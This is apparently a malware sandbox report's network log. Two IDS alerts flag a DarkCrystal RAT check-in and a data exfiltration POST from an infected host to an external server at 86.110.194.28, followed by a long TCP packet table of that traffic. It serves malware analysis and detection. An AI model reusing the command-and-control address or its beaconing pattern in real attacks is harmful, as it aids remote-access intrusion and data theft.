Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-03T18:27:16.350387+0100	2048095	ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST)	1	192.168.2.4	61232	86.110.194.28	80	TCP
2025-01-03T18:27:41.525200+0100	2048130	ET MALWARE [ANY.RUN] DarkCrystal Rat Exfiltration (POST)	1	192.168.2.4	61260	86.110.194.28	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 3, 2025 18:27:15.538516045 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:15.543334007 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:15.545084000 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:15.545841932 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:15.550632000 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:15.894135952 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:15.898863077 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.249403954 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.350332022 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.350342035 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.350387096 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:16.411216974 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:16.415982962 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.484080076 CET	61234	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:16.488886118 CET	80	61234	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.488970041 CET	61234	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:16.489058018 CET	61234	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:16.493793964 CET	80	61234	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.628711939 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.628963947 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:16.633708000 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.846556902 CET	61234	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:16.851461887 CET	80	61234	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.851474047 CET	80	61234	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.851490974 CET	80	61234	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.852417946 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:16.852859020 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:16.857647896 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.070328951 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.070477009 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:17.075241089 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.195885897 CET	80	61234	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.268203974 CET	61234	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:17.293036938 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.334528923 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:17.335419893 CET	80	61234	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.339303017 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.409979105 CET	61234	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:17.543083906 CET	61234	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:17.547938108 CET	61235	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:17.548154116 CET	80	61234	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.548207998 CET	61234	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:17.552088976 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.552213907 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:17.552711010 CET	80	61235	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.552768946 CET	61235	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:17.553047895 CET	61235	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:17.556993008 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.557183981 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.557782888 CET	80	61235	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.909079075 CET	61235	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:17.914066076 CET	80	61235	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.914079905 CET	80	61235	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.914088964 CET	80	61235	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:17.941389084 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:18.143227100 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:18.231653929 CET	80	61235	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:18.362765074 CET	80	61235	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:18.362926006 CET	61235	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:18.699944019 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:18.700031996 CET	61235	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:18.700256109 CET	61236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:18.705182076 CET	80	61236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:18.705269098 CET	61236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:18.705271006 CET	80	61232	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:18.705328941 CET	61232	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:18.705390930 CET	61236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:18.705753088 CET	80	61235	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:18.705807924 CET	61235	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:18.710155010 CET	80	61236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:19.049592018 CET	61236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:19.054511070 CET	80	61236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:19.054527998 CET	80	61236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:19.054538012 CET	80	61236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:19.413558960 CET	80	61236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:19.498752117 CET	61236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:19.552155018 CET	80	61236	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:19.661382914 CET	61236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:19.770304918 CET	61237	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:19.775137901 CET	80	61237	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:19.775322914 CET	61237	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:19.775408983 CET	61237	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:19.780174017 CET	80	61237	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:20.155221939 CET	61237	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:20.160115004 CET	80	61237	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:20.160130978 CET	80	61237	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:20.160140991 CET	80	61237	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:20.467248917 CET	80	61237	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:20.549472094 CET	61237	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:20.594777107 CET	80	61237	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:20.752589941 CET	61237	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:20.970227957 CET	61237	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:20.971005917 CET	61238	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:20.975425005 CET	80	61237	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:20.975476027 CET	61237	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:20.975809097 CET	80	61238	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:20.975866079 CET	61238	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:20.975971937 CET	61238	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:20.980665922 CET	80	61238	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:21.330811977 CET	61238	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:21.335756063 CET	80	61238	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:21.335767984 CET	80	61238	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:21.335777044 CET	80	61238	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:21.354065895 CET	61236	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:21.661705971 CET	80	61238	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:21.752754927 CET	61238	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:21.791558027 CET	80	61238	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:21.940141916 CET	61238	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:22.956764936 CET	61241	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:22.957290888 CET	61238	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:22.961626053 CET	80	61241	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:22.961688042 CET	61241	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:22.961816072 CET	61241	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:22.962392092 CET	80	61238	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:22.962438107 CET	61238	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:22.966614008 CET	80	61241	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:23.315226078 CET	61241	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:23.320261002 CET	80	61241	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:23.320275068 CET	80	61241	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:23.664324045 CET	80	61241	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:23.768336058 CET	61241	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:23.799797058 CET	80	61241	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:23.971368074 CET	61241	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:26.061239958 CET	61241	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:26.061544895 CET	61243	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:26.066318989 CET	80	61241	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:26.066334009 CET	80	61243	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:26.066373110 CET	61241	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:26.066432953 CET	61243	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:26.066565990 CET	61243	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:26.071662903 CET	80	61243	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:26.426410913 CET	61243	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:26.431299925 CET	80	61243	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:26.431318045 CET	80	61243	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:26.431328058 CET	80	61243	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:26.747186899 CET	80	61243	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:26.875880957 CET	80	61243	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:26.875935078 CET	61243	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:27.356426001 CET	61243	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:27.356769085 CET	61244	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:27.361416101 CET	80	61243	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:27.361495018 CET	61243	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:27.361578941 CET	80	61244	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:27.361639977 CET	61244	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:27.362986088 CET	61244	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:27.367736101 CET	80	61244	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:27.721470118 CET	61244	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:27.726567030 CET	80	61244	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:27.726581097 CET	80	61244	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:27.726589918 CET	80	61244	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:28.047082901 CET	80	61244	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:28.158869028 CET	61244	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:28.176275015 CET	80	61244	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:28.268237114 CET	61244	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:28.591801882 CET	61244	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:28.597009897 CET	80	61244	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:28.598375082 CET	61244	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:28.705748081 CET	61245	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:28.712095976 CET	80	61245	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:28.712251902 CET	61245	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:28.712344885 CET	61245	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:28.717160940 CET	80	61245	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:28.815895081 CET	61246	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:28.822477102 CET	80	61246	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:28.823151112 CET	61246	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:28.823260069 CET	61246	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:28.829422951 CET	80	61246	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:28.830195904 CET	61245	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:28.875827074 CET	80	61245	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.061053991 CET	61247	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:29.065859079 CET	80	61247	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.069230080 CET	61247	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:29.150423050 CET	61247	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:29.155179024 CET	80	61247	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.174546003 CET	61246	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:29.179303885 CET	80	61246	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.179495096 CET	80	61246	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.184109926 CET	80	61245	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.184178114 CET	61245	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:29.502727032 CET	61247	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:29.507622004 CET	80	61247	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.507635117 CET	80	61247	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.507643938 CET	80	61247	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.508697987 CET	80	61246	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.549485922 CET	61246	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:29.638132095 CET	80	61246	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.752616882 CET	61246	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:29.766931057 CET	80	61247	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.850569963 CET	61247	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:29.896819115 CET	80	61247	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:29.952337027 CET	61247	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:30.139082909 CET	61246	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:30.139153957 CET	61247	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:30.139417887 CET	61248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:30.146348953 CET	80	61246	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:30.146393061 CET	61246	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:30.146727085 CET	80	61248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:30.146783113 CET	61248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:30.146814108 CET	80	61247	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:30.146851063 CET	61247	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:30.146877050 CET	61248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:30.153955936 CET	80	61248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:30.502676964 CET	61248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:30.508760929 CET	80	61248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:30.508774042 CET	80	61248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:30.508783102 CET	80	61248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:30.838896036 CET	80	61248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:30.970470905 CET	80	61248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:30.970546961 CET	61248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:33.048660040 CET	61248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:33.050445080 CET	61251	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:33.053689003 CET	80	61248	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:33.053740025 CET	61248	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:33.055224895 CET	80	61251	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:33.055304050 CET	61251	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:33.055418968 CET	61251	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:33.060214043 CET	80	61251	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:33.409058094 CET	61251	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:33.413999081 CET	80	61251	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:33.414011002 CET	80	61251	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:33.414037943 CET	80	61251	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:33.743057013 CET	80	61251	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:33.872131109 CET	80	61251	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:33.872184038 CET	61251	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.109316111 CET	61251	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.127926111 CET	80	61251	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:34.127986908 CET	61251	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.167287111 CET	61252	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.172113895 CET	80	61252	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:34.172194004 CET	61252	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.172316074 CET	61252	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.177026987 CET	80	61252	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:34.518335104 CET	61252	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.523278952 CET	80	61252	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:34.523293018 CET	80	61252	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:34.523302078 CET	80	61252	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:34.644001961 CET	61253	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.648828030 CET	80	61253	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:34.648885012 CET	61253	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.648998976 CET	61253	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.653712988 CET	80	61253	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:34.662575006 CET	61252	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.667566061 CET	80	61252	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:34.667619944 CET	61252	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.786118031 CET	61254	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.790930986 CET	80	61254	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:34.790982962 CET	61254	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.791085958 CET	61254	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:34.795815945 CET	80	61254	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.002702951 CET	61253	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:35.008759022 CET	80	61253	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.008774042 CET	80	61253	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.143332005 CET	61254	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:35.148185015 CET	80	61254	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.148205996 CET	80	61254	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.148216963 CET	80	61254	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.353427887 CET	80	61253	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.471412897 CET	61253	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:35.485681057 CET	80	61253	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.487046957 CET	80	61254	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.622272015 CET	80	61254	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.623213053 CET	61254	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:35.652077913 CET	61253	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:35.754601002 CET	61253	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:35.754897118 CET	61255	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:35.754900932 CET	61254	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:35.759577990 CET	80	61253	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.759716988 CET	80	61255	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.759758949 CET	61253	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:35.759789944 CET	61255	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:35.759906054 CET	61255	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:35.759943962 CET	80	61254	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:35.760164022 CET	61254	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:35.764664888 CET	80	61255	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:36.112097025 CET	61255	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:36.117029905 CET	80	61255	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:36.117043972 CET	80	61255	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:36.117052078 CET	80	61255	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:36.468316078 CET	80	61255	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:36.549531937 CET	61255	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:36.602719069 CET	80	61255	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:36.658353090 CET	61255	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:37.236076117 CET	61256	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:37.241059065 CET	80	61256	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:37.241132021 CET	61256	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:37.241244078 CET	61256	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:37.245956898 CET	80	61256	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:37.596476078 CET	61256	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:37.601463079 CET	80	61256	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:37.601475954 CET	80	61256	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:37.601484060 CET	80	61256	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:37.937427044 CET	80	61256	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:38.065143108 CET	61256	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:38.067295074 CET	80	61256	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:38.207050085 CET	61256	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:38.207499027 CET	61257	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:38.213005066 CET	80	61257	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:38.213062048 CET	61257	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:38.213171005 CET	61257	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:38.214021921 CET	80	61256	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:38.214066029 CET	61256	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:38.217915058 CET	80	61257	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:38.565215111 CET	61257	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:38.570177078 CET	80	61257	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:38.570188999 CET	80	61257	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:38.570198059 CET	80	61257	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:38.739511967 CET	61255	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:38.919476032 CET	80	61257	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:39.049560070 CET	61257	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:39.056304932 CET	80	61257	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:39.192806005 CET	61257	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:39.193835020 CET	61258	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:39.197801113 CET	80	61257	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:39.197911978 CET	61257	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:39.198676109 CET	80	61258	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:39.198743105 CET	61258	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:39.198837042 CET	61258	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:39.203619003 CET	80	61258	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:39.549678087 CET	61258	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:39.554621935 CET	80	61258	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:39.554636002 CET	80	61258	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:39.554646015 CET	80	61258	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:39.881741047 CET	80	61258	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:39.940170050 CET	61258	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.010487080 CET	80	61258	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.227842093 CET	80	61258	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.229063034 CET	61258	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.309528112 CET	61258	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.314534903 CET	80	61258	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.315185070 CET	61258	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.319030046 CET	61259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.323863983 CET	80	61259	86.110.194.28	192.168.2.4
Jan 3, 2025 18:27:40.327200890 CET	61259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.327380896 CET	61259	80	192.168.2.4	86.110.194.28
Jan 3, 2025 18:27:40.332139015 CET	80	61259	86.110.194.28	192.168.2.4
